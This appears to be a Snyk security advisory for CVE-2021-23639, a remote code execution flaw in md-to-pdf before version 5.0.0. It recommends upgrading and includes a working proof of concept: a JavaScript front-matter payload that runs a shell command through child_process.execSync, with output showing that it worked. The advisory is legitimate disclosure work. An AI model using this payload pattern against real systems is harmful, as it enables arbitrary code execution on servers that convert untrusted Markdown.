Remote Code Execution (RCE) Affecting md-to-pdf Open this link in a new tab package, versions <5.0.0
Exploit Maturity
Proof of concept
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications-
snyk-id
SNYK-JS-MDTOPDF-1657880
-
published
8 Dec 2021
-
disclosed
23 Sep 2021
-
credit
Oscar Arnflo
Introduced: 23 Sep 2021
CVE-2021-23639 Open this link in a new tabHow to fix?
Upgrade md-to-pdf
to version 5.0.0 or higher.
Overview
md-to-pdf is a CLI tool for converting Markdown files to PDF.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.
PoC:
//Before running poc.js:
$ cat /tmp/RCE.txt
cat: /tmp/RCE.txt: No such file or directory
//After running poc.js
$ node poc.js
$ cat /tmp/RCE.txt
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
poc.js:
const { mdToPdf } = require('md-to-pdf');
var payload = '---jsn((require("child_process")).execSync("id > /tmp/RCE.txt"))n---RCE';
(async () => {
await mdToPdf({ content: payload }, { dest: './output.pdf' });
})();